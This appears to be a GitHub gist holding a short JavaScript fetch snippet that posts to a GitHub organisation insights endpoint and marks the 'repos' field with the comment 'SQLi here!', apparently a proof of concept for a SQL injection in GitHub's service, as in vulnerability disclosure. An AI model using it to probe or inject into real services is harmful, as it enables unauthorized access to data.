Skip to content

Instantly share code, notes, and snippets.

@irsl
Created December 31, 2023 08:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save irsl/fdd126bab61ea22fd42ce6a6f2cffbb6 to your computer and use it in GitHub Desktop.
Save irsl/fdd126bab61ea22fd42ce6a6f2cffbb6 to your computer and use it in GitHub Desktop.
fetch('/orgs/irsleorg/insights/org_issue_trend_data', {
method: 'POST',
headers: {
'GitHub-Verified-Fetch': 'true', 'Content-type': 'application/json'
},
body: JSON.stringify({repos: "arbitrary-string-here"}), // SQLi here!
})
.then(response => {
console.log("response", response)
return response.text();
})
.then(body => {
console.log("body", body)
})
.catch(error => {
console.log("error", error)
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment